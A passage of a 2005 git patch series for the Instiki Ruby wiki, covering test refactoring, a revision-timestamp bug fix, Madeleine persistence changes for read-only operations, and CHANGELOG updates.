though MyWay \\OverThere -- ' + + 'see SmartEngine in that SmartEngineGUI', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - @revision_with_auto_links = Revision.new( - @page, - 1, + @revision_with_auto_links = Revision.new(@page, 1, "http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson" - ) + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - @revision_with_aliased_links = Revision.new( - @page, - 1, - "Would a [[SmartEngine|clever motor]] go by any other name?", - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + @revision_with_aliased_links = Revision.new(@page, 1, + 'Would a [[SmartEngine|clever motor]] go by any other name?', + Time.local(2004, 4, 4, 16, 50), 'MarkReid') - @revision_with_wiki_word_in_em = Revision.new( - @page, - 1, - "_should we go ThatWay or ThisWay _", - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + @revision_with_wiki_word_in_em = Revision.new(@page, 1, '_should we go ThatWay or ThisWay _', + Time.local(2004, 4, 4, 16, 50), 'MarkReid') - @revision_with_pre_blocks = Revision.new( - @page, - 1, - "A class SmartEngine end would not mark up
      CodeBlocks
      ", - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + @revision_with_pre_blocks = Revision.new(@page, 1, + 'A class SmartEngine end would not mark up
      CodeBlocks
      ', + Time.local(2004, 4, 4, 16, 50), 'MarkReid') - @revision_with_wikiword_in_tag = Revision.new( - @page, - 1, - "That is some Stylish Emphasis", - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + @revision_with_wikiword_in_tag = Revision.new(@page, 1, + 'That is some Stylish Emphasis', + Time.local(2004, 4, 4, 16, 50), 'MarkReid') @revision_with_autolink_in_parentheses = Revision.new( - @page, - 1, - 'The W3C body (http://www.w3c.org) sets web standards', - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + @page, 1, 'The W3C body (http://www.w3c.org) sets web standards', + Time.local(2004, 4, 4, 16, 50), 'MarkReid') @revision_with_link_in_parentheses = Revision.new( - @page, - 1, - 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup', - Time.local(2004, 4, 4, 16, 50), - "MarkReid" + @page, 1, + 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ' + + '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup', + Time.local(2004, 4, 4, 16, 50), 'MarkReid' ) - @revision_with_image_link = Revision.new( - @page, - 1, + @revision_with_image_link = Revision.new(@page, 1, 'This !http://hobix.com/sample.jpg! is a Textile image link.', - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + Time.local(2004, 4, 4, 16, 50), 'MarkReid') - @revision_with_nowiki_text = Revision.new( - @page, - 1, + @revision_with_nowiki_text = Revision.new(@page, 1, 'Do not mark up [[this text]] or http://www.thislink.com.', - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) + Time.local(2004, 4, 4, 16, 50), 'MarkReid') - @revision_with_bracketted_wiki_word = Revision.new( - @page, - 1, + @revision_with_bracketted_wiki_word = Revision.new(@page, 1, 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].', - Time.local(2004, 4, 4, 16, 50), - "MarkReid" - ) - + Time.local(2004, 4, 4, 16, 50), 'MarkReid') end def test_wiki_words @@ -127,23 +85,24 @@ class RevisionTest < Test::Unit::TestCase end def test_content_with_wiki_links - assert_equal "

      His Way? would be My Way in kinda That Way in His Way? though My Way OverThere—see Smart Engine in that Smart Engine GUI?

      ", @revision.display_content + assert_equal '

      His Way? ' + + 'would be My Way in kinda ' + + 'That Way in ' + + 'His Way? ' + + 'though My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI' + + '?

      ', + @revision.display_content end def test_bluecloth @web.markup = :markdown - @revision = Revision.new( - @page, - 1, - "My Headline\n===========\n\n that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson" - ) + @revision = Revision.new(@page, 1, "My Headline\n===========\n\n that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - @revision_with_code_block = Revision.new( - @page, - 1, + @revision_with_code_block = Revision.new(@page, 1, [ 'This is a code block:', '', ' def a_method(arg)', @@ -166,84 +125,104 @@ class RevisionTest < Test::Unit::TestCase def test_rdoc @web.markup = :rdoc - @revision = Revision.new( - @page, - 1, - "+hello+ that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson" - ) + @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - assert_equal "hello that Smart Engine GUI?\n\n", @revision.display_content + assert_equal "hello that Smart Engine GUI' + + "?\n\n", @revision.display_content end def test_content_with_auto_links - assert_equal "

      http://www.loudthinking.com/ points to That Way from david@loudthinking.com

      ", @revision_with_auto_links.display_content + assert_equal '

      http://www.loudthinking.com/ ' + + 'points to That Way from ' + + 'david@loudthinking.com

      ', + @revision_with_auto_links.display_content end def test_content_with_aliased_links - assert_equal "

      Would a clever motor go by any other name?

      ", @revision_with_aliased_links.display_content + assert_equal '

      Would a clever motor' + + ' go by any other name?

      ', @revision_with_aliased_links.display_content end def test_content_with_wikiword_in_em - assert_equal "

      should we go That Way or This Way?

      ", @revision_with_wiki_word_in_em.display_content + assert_equal '

      should we go ' + + 'That Way or This Way?' + + '

      ', @revision_with_wiki_word_in_em.display_content end def test_content_with_wikiword_in_tag - assert_equal "

      That is some Stylish Emphasis

      ", @revision_with_wikiword_in_tag.display_content + assert_equal '

      That is some Stylish Emphasis

      ', + @revision_with_wikiword_in_tag.display_content end def test_content_with_pre_blocks - assert_equal "A class SmartEngine end would not mark up
      CodeBlocks
      ", @revision_with_pre_blocks.display_content + assert_equal 'A class SmartEngine end would not mark up
      CodeBlocks
      ', + @revision_with_pre_blocks.display_content end def test_content_with_autolink_in_parentheses - assert_equal '

      The W3C body (http://www.w3c.org) sets web standards

      ', @revision_with_autolink_in_parentheses.display_content + assert_equal '

      The W3C body (' + + 'http://www.w3c.org) sets web standards

      ', + @revision_with_autolink_in_parentheses.display_content end def test_content_with_link_in_parentheses - assert_equal '

      Instiki is a Wiki Clone (What is a wiki?) that’s so easy to setup

      ', @revision_with_link_in_parentheses.display_content + assert_equal '

      Instiki is a Wiki Clone' + + ' (What is a wiki?) that’s ' + + 'so easy to setup

      ', @revision_with_link_in_parentheses.display_content end def test_content_with_image_link - assert_equal '

      This is a Textile image link.

      ', @revision_with_image_link.display_content + assert_equal '

      This is a Textile image ' + + 'link.

      ', @revision_with_image_link.display_content end def test_content_with_nowiki_text - assert_equal '

      Do not mark up [[this text]] or http://www.thislink.com.

      ', @revision_with_nowiki_text.display_content + assert_equal '

      Do not mark up [[this text]] or http://www.thislink.com.

      ', + @revision_with_nowiki_text.display_content end def test_content_with_bracketted_wiki_word @web.brackets_only = true - assert_equal '

      This is a WikiWord and a tricky name Sperberg-McQueen?.

      ', @revision_with_bracketted_wiki_word.display_content + assert_equal '

      This is a WikiWord and a tricky name ' + + 'Sperberg-McQueen?.

      ', + @revision_with_bracketted_wiki_word.display_content end def test_content_for_export - assert_equal "

      His Way would be My Way in kinda That Way in His Way though My Way OverThere—see Smart Engine in that Smart Engine GUI

      ", @revision.display_content_for_export + assert_equal '

      His Way would be ' + + 'My Way in kinda ' + + 'That Way in ' + + 'His Way though ' + + 'My Way OverThere—see ' + + 'Smart Engine in that ' + + 'Smart Engine GUI

      ', + @revision.display_content_for_export end def test_double_replacing @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" - assert_equal( - "

      Version History?

      \n\n\t

      cry Version History?

      ", - @revision.display_content - ) + assert_equal '

      Version History' + + "?

      \n\n\t

      cry " + + 'Version History?' + + '

      ', + @revision.display_content @revision.clear_display_cache @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" - assert_equal( - "

      f
      \nVersion History?

      \n\n\t

      cry Version History?

      ", - @revision.display_content - ) + assert_equal "

      f
      \nVersion History" + + "?

      \n\n\t

      cry " + + "Version History?" + + "

      ", + @revision.display_content end def test_difficult_wiki_words @revision.content = "[[It's just awesome GUI!]]" - assert_equal( - "

      It’s just awesome GUI!?

      ", - @revision.display_content - ) + assert_equal "

      It’s just awesome GUI" + + "!?

      ", + @revision.display_content end def test_revisions_diff @@ -253,9 +232,15 @@ class RevisionTest < Test::Unit::TestCase page.web = web page.revisions = [ 0 ] - page.revisions << Revision.new(page, 1, "What a blue and lovely morning", Time.local(2004, 4, 4, 16, 50), "DavidHeinemeierHansson") - page.revisions << Revision.new(page, 2, "What a red and lovely morning today", Time.local(2004, 4, 4, 16, 50), "DavidHeinemeierHansson") + page.revisions << Revision.new(page, 1, 'What a blue and lovely morning', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + + page.revisions << Revision.new(page, 2, 'What a red and lovely morning today', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - assert_equal "

      What a blue red and lovely morningmorning today

      ", page.revisions.last.display_diff + assert_equal "

      What a blue red " + + "and lovely morningmorning " + + "today

      ", page.revisions.last.display_diff end -end \ No newline at end of file + +end From da3674770e1253a018945fb9a463895f8d668394 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 22:19:28 +0000 Subject: [PATCH 018/529] Moved Page#pretty_revised_on to the view (it is not a model method) --- app/models/page.rb | 24 +++++++++++------------- app/views/wiki/recently_revised.rhtml | 6 +++++- test/unit/page_test.rb | 1 - 3 files changed, 16 insertions(+), 15 deletions(-) diff --git a/app/models/page.rb b/app/models/page.rb index d6b0b894..f617b0cd 100755 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -1,14 +1,12 @@ -require "date" -require "page_lock" -require "revision" -require "wiki_words" -require "chunks/wiki" +require 'date' +require 'page_lock' +require 'revision' +require 'wiki_words' +require 'chunks/wiki' class Page include PageLock - CONTINOUS_REVISION_PERIOD = 30 * 60 # 30 minutes - attr_reader :name, :revisions, :web def initialize(web, name, content, created_at, author) @@ -17,6 +15,10 @@ class Page end def revise(content, created_at, author) + # A user may change a page, look at it and make some more changes - several times. + # Not to record every such iteration as a new revision, if the previous revision was done + # by the same author, not more than 30 minutes ago, then update the last revision instead of + # creating a new one if !@revisions.empty? && continous_revision?(created_at, author) @revisions.last.created_at = Time.now @revisions.last.content = content @@ -41,10 +43,6 @@ class Page created_on end - def pretty_revised_on - DateTime.new(revised_on.year, revised_on.mon, revised_on.day).strftime "%B %e, %Y" - end - def in_category?(cat) cat.nil? || cat.empty? || categories.include?(cat) end @@ -76,11 +74,11 @@ class Page private def continous_revision?(created_at, author) - @revisions.last.author == author && @revisions.last.created_at + CONTINOUS_REVISION_PERIOD > created_at + @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at end # Forward method calls to the current revision, so the page responds to all revision calls def method_missing(method_symbol) revisions.last.send(method_symbol) end -end \ No newline at end of file +end diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml index 213889ce..ca9390d7 100755 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -12,7 +12,11 @@
        <% for page in @pages_by_revision %> <% if page.revised_on < revision_date %> -
      <%= page.pretty_revised_on %>
        +
      + <%= DateTime.new(page.revised_on.year, page.revised_on.mon, + page.revised_on.day).strftime('%B %e, %Y') + %> +
        <% end %>
      • diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 014ae789..086f7ff5 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -21,7 +21,6 @@ class PageTest < Test::Unit::TestCase def test_basics assert_equal "First Page", @page.plain_name - assert_equal "April 4, 2004", @page.pretty_revised_on end def test_locking From ef65e5e78aeacf7f6973dbd15c6d38be610618f5 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 22:27:09 +0000 Subject: [PATCH 019/529] Fix to ticket 2. When updating the last page revision in the "continuous revision" case, created_at should be used instead of Time.now. --- app/models/page.rb | 2 +- test/unit/page_test.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/app/models/page.rb b/app/models/page.rb index f617b0cd..5765cf1e 100755 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -20,7 +20,7 @@ class Page # by the same author, not more than 30 minutes ago, then update the last revision instead of # creating a new one if !@revisions.empty? && continous_revision?(created_at, author) - @revisions.last.created_at = Time.now + @revisions.last.created_at = created_at @revisions.last.content = content @revisions.last.clear_display_cache else diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 086f7ff5..7c6540ee 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -64,6 +64,7 @@ class PageTest < Test::Unit::TestCase @page.revise("HisWay would be MyWay in kinda update", Time.local(2004, 4, 4, 16, 57), "MarianneSyhler") assert_equal 2, @page.revisions.length assert_equal "HisWay would be MyWay in kinda update", @page.revisions.last.content + assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at @page.revise("HisWay would be MyWay in the house", Time.local(2004, 4, 4, 16, 58), "DavidHeinemeierHansson") assert_equal 3, @page.revisions.length From ab63f1449dfeb8d284588482320660c176e06f50 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 22:40:44 +0000 Subject: [PATCH 020/529] Added shebangs and require 'test_helper' to all tests, so that they can be run standalone --- test/unit/chunks/category_test.rb | 4 +++- test/unit/chunks/nowiki_test.rb | 4 +++- test/unit/chunks/wiki_test.rb | 4 +++- test/unit/diff_test.rb | 4 +++- test/unit/page_test.rb | 8 +++++--- test/unit/redcloth_for_tex_test.rb | 6 ++++-- test/unit/revision_test.rb | 8 +++++--- test/unit/uri_test.rb | 4 +++- test/unit/url_rewriting_hack_test.rb | 2 ++ test/unit/web_test.rb | 4 ++-- test/unit/wiki_service_test.rb | 4 +++- test/unit/wiki_words_test.rb | 6 ++++-- 12 files changed, 40 insertions(+), 18 deletions(-) diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb index 7112eae2..cdf29f23 100755 --- a/test/unit/chunks/category_test.rb +++ b/test/unit/chunks/category_test.rb @@ -1,6 +1,8 @@ +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/category' require 'chunks/match' -require 'test/unit' class CategoryTest < Test::Unit::TestCase include ChunkMatch diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb index b43e0705..c2a78a55 100755 --- a/test/unit/chunks/nowiki_test.rb +++ b/test/unit/chunks/nowiki_test.rb @@ -1,6 +1,8 @@ +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/nowiki' require 'chunks/match' -require 'test/unit' class NoWikiTest < Test::Unit::TestCase include ChunkMatch diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index aeb1ef22..55609f46 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -1,6 +1,8 @@ +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/wiki' require 'chunks/match' -require 'test/unit' class WikiTest < Test::Unit::TestCase include ChunkMatch diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 24b52244..c79e387b 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -1,4 +1,6 @@ -require 'test/unit' +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' require 'diff' include Diff diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 7c6540ee..2d29d174 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -1,6 +1,8 @@ -require "test/unit" -require "web" -require "page" +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' +require 'web' +require 'page' class MockWeb < Web def initialize() super('test','test') end diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb index 72d9e91e..e5a69eb1 100755 --- a/test/unit/redcloth_for_tex_test.rb +++ b/test/unit/redcloth_for_tex_test.rb @@ -1,5 +1,7 @@ -require "test/unit" -require "redcloth_for_tex" +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' +require 'redcloth_for_tex' class RedClothForTexTest < Test::Unit::TestCase def test_basics diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index fb21b471..7a29ed36 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -1,6 +1,8 @@ -require "web" -require "test/unit" -require "revision" +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' +require 'web' +require 'revision' class WebStub < Web; attr_accessor :markup diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 0b427840..722a479f 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -1,6 +1,8 @@ +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' require 'chunks/uri' require 'chunks/match' -require 'test/unit' class URITest < Test::Unit::TestCase include ChunkMatch diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index b54ced23..d29d34d9 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -1,3 +1,5 @@ +#!/bin/env ruby + require File.dirname(__FILE__) + '/../test_helper' require 'url_rewriting_hack' diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index e85b0076..9de65c32 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -1,6 +1,6 @@ -#!/usr/bin/ruby +#!/bin/env ruby -require 'test/unit' +require File.dirname(__FILE__) + '/../test_helper' require 'wiki_service' class WebTest < Test::Unit::TestCase diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 43bea85b..544ce870 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -1,4 +1,6 @@ -require 'test/unit' +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' require 'wiki_service' class WikiServiceTest < Test::Unit::TestCase diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb index e3755128..2b2433d5 100755 --- a/test/unit/wiki_words_test.rb +++ b/test/unit/wiki_words_test.rb @@ -1,5 +1,7 @@ -require "test/unit" -require "wiki_words" +#!/bin/env ruby + +require File.dirname(__FILE__) + '/../test_helper' +require 'wiki_words' class WikiWordsTest < Test::Unit::TestCase From 621b79db55ac69566004dc4f864339053e334729 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 23:17:30 +0000 Subject: [PATCH 021/529] Tests for WikiService use default WikiService (with Madeleine persistence), not a WikiServiceWithNoPersistence. --- app/models/wiki_service.rb | 4 ++++ config/environments/test.rb | 4 +++- test/functional/wiki_controller_test.rb | 6 ++++-- test/unit/wiki_service_test.rb | 18 +++++++++++++++++- 4 files changed, 28 insertions(+), 4 deletions(-) diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 8506039a..757afa6e 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -20,6 +20,10 @@ module AbstractWikiService @webs[address] = Web.new(name, address, password) unless @webs[address] end + def delete_web(address) + @webs[address] = nil + end + def init_wiki_service @webs = {} @system = {} diff --git a/config/environments/test.rb b/config/environments/test.rb index 6b1c6ea3..d4bad332 100644 --- a/config/environments/test.rb +++ b/config/environments/test.rb @@ -11,4 +11,6 @@ unless defined? TEST_LOGGER TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name) ActionController::Base.logger.level = Logger::DEBUG -end \ No newline at end of file + + WikiService.storage_path = RAILS_ROOT + '/storage/test/' +end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 00a7a3e0..d0851b6c 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -158,7 +158,8 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal 'application/zip', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] + assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] # TODO assert contents of the output file end @@ -167,7 +168,8 @@ class WikiControllerTest < Test::Unit::TestCase assert_success assert_equal 'application/zip', r.headers['Content-Type'] - assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] + assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] # TODO assert contents of the output file end diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 544ce870..641443dd 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -2,13 +2,29 @@ require File.dirname(__FILE__) + '/../test_helper' require 'wiki_service' +require 'fileutils' class WikiServiceTest < Test::Unit::TestCase + + # Clean the test storage directory before the run + unless defined? @@storage_cleaned + FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.command_log']) + FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.snapshot']) + FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.tex']) + FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.zip']) + FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.pdf']) + @@cleaned_storage = true + end + def setup - @s = WikiServiceWithNoPersistence.new + @s = WikiService.instance @s.create_web 'Instiki', 'instiki' end + def teardown + @s.delete_web 'instiki' + end + def test_read_write_page @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", Time.now, 'DavidHeinemeierHansson' From da3c060c89dafbd2a04bb3813f3466f753223ac6 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 23:51:59 +0000 Subject: [PATCH 022/529] Non-mutating operations should not be logged. --- app/models/wiki_service.rb | 27 +++++++++++++++++++++------ test/unit/wiki_service_test.rb | 30 ++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 6 deletions(-) diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 757afa6e..96b3afb9 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -103,6 +103,10 @@ class WikiService include AbstractWikiService include Madeleine::Automatic::Interceptor + + # These methods do not change the state of persistent objects, and + # should not be ogged by Madeleine + automatic_read_only :authenticate, :read_page, :setup?, :webs @@storage_path = './storage/' @@ -120,8 +124,15 @@ class WikiService end def instance - @system ||= MadeleineServer.new(self).system + @madeleine ||= MadeleineServer.new(self) + @system = @madeleine.system + return @system end + + def snapshot + @madeleine.snapshot + end + end def initialize @@ -157,14 +168,14 @@ class MadeleineServer start_snapshot_thread end - def system - @server.system - end - def command_log_present? not Dir[storage_path + '/*.command_log'].empty? end + def snapshot + @server.take_snapshot + end + def start_snapshot_thread Thread.new(@server) { hours_since_last_snapshot = 0 @@ -176,7 +187,7 @@ class MadeleineServer if command_log_present? or hours_since_last_snapshot >= 24 ActionController::Base.logger.info "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] " + 'Taking a Madeleine snapshot' - @server.take_snapshot + snapshot hours_since_last_snapshot = 0 end sleep(1.hour) @@ -190,5 +201,9 @@ class MadeleineServer end } end + + def system + @server.system + end end diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 641443dd..1c3f7695 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -14,6 +14,7 @@ class WikiServiceTest < Test::Unit::TestCase FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.zip']) FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.pdf']) @@cleaned_storage = true + WikiService.instance.setup('pswd', 'Wiki', 'wiki') end def setup @@ -30,4 +31,33 @@ class WikiServiceTest < Test::Unit::TestCase Time.now, 'DavidHeinemeierHansson' assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content end + + def test_read_only_operations + @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' + + 'state of any object, and therefore should not be logged by Madeleine!', + Time.now, 'AlexeyVerkhovsky' + + assert_doesnt_change_state :authenticate, 'pswd' + assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' + assert_doesnt_change_state :setup? + assert_doesnt_change_state :webs + + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content + end + + + def assert_doesnt_change_state(method, *args) + WikiService.snapshot + last_snapshot_before = File.read(Dir[RAILS_ROOT + 'storage/test/*.snapshot'].last) + + @s.send(method, *args) + + command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] + assert command_logs.empty?, "Calls to #{method} should not be logged" + last_snapshot_after = File.read(Dir[RAILS_ROOT + 'storage/test/*.snapshot'].last) + assert last_snapshot_before == last_snapshot_after, + 'Calls to #{method} should not change the state of any persisted object' + end end From 151cd6519475e74b4bfb52f50d2202944a2c919a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 23:59:20 +0000 Subject: [PATCH 023/529] Documented last changes --- CHANGELOG | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 87f6e082..2f1abf94 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,13 +1,20 @@ HEAD: - Parsing of URIs with a port (http://someplace.org:8080) fixed + Ported to ActionPack Madeleine will check every hour if there are new commands in the log or 24 hours have passed since last snapshot, and take snapshot if either of these conditions is true + Madeleine will also not log read-only operations, resulting in a better performance Wiki extracts (to HTML and plain text) will leave only the last extract file in ./storage Local hyperlinks in published pages point to published pages [Michael DeHaan] + Fixed a bug that sometimes caused all past revisions of a page to be "forgotten" on + restart + Fixed parsing of URIs with a port number (http://someplace.org:8080) + Instiki will not fork itself on a *nix, unless explicitly asked to + Automated tests for all controller actions Various usability enhancements * 0.9.2: - Rollback takes the user to an edit form. The form has to be submitted for the change to take place. + Rollback takes the user to an edit form. The form has to be submitted for the change to + take place. Changed to use inline style on published pages Fixed "forward in time" on the last revision before current page Instiki won't log bogus error messages when creating a new Wiki. From bba48107896c2a10c4cc54e2ace2a41c38a66496 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 14:10:00 +0000 Subject: [PATCH 024/529] Documented a new command-line option --- CHANGELOG | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG b/CHANGELOG index 2f1abf94..ade672f8 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -9,6 +9,7 @@ HEAD: restart Fixed parsing of URIs with a port number (http://someplace.org:8080) Instiki will not fork itself on a *nix, unless explicitly asked to + Instiki can bind to IPs other than 127.0.0.1 (command-line option) Automated tests for all controller actions Various usability enhancements From 8a1ca5fe1403783962f501afc2360e1d68115d01 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 14:12:37 +0000 Subject: [PATCH 025/529] Placeholder in public/stylesheets is no longer needed --- public/stylesheets/.CSS_stylesheets_go_here | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100755 public/stylesheets/.CSS_stylesheets_go_here diff --git a/public/stylesheets/.CSS_stylesheets_go_here b/public/stylesheets/.CSS_stylesheets_go_here deleted file mode 100755 index e69de29b..00000000 From 0367f67fba696f236646cca579795db594730758 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 15:39:06 +0000 Subject: [PATCH 026/529] changed tex.rhtml in response to a warning from pdflatex version: MiKTeX-pdfetex 2.4.1700 (1.20a-rc7.2) (MiKTeX 2.4) --- app/views/wiki/tex.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml index 4c128a68..ae8d5c81 100755 --- a/app/views/wiki/tex.rhtml +++ b/app/views/wiki/tex.rhtml @@ -5,7 +5,7 @@ \usepackage{a4} \usepackage{graphicx} \usepackage{ucs} -\usepackage[utf8]{inputenc} +\usepackage[utf8x]{inputenc} \input epsf %------------------------------------------------------------------- From 01c5a65405f6a780dec19cd785b29423a5a56005 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 15:47:43 +0000 Subject: [PATCH 027/529] Sorted out pdf action --- CONTROLLER_TESTS | 4 +++- app/controllers/wiki_controller.rb | 7 +++++-- test/functional/wiki_controller_test.rb | 18 +++++++++++++----- 3 files changed, 21 insertions(+), 8 deletions(-) diff --git a/CONTROLLER_TESTS b/CONTROLLER_TESTS index 500a46de..e9090097 100755 --- a/CONTROLLER_TESTS +++ b/CONTROLLER_TESTS @@ -28,9 +28,11 @@ rss_with_content rss_with_headlines export_html export_markup +pdf TODO -pdf +tex export_pdf export_tex + diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 54b1796a..0f6da854 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -186,8 +186,9 @@ class WikiController < ApplicationController file_path = 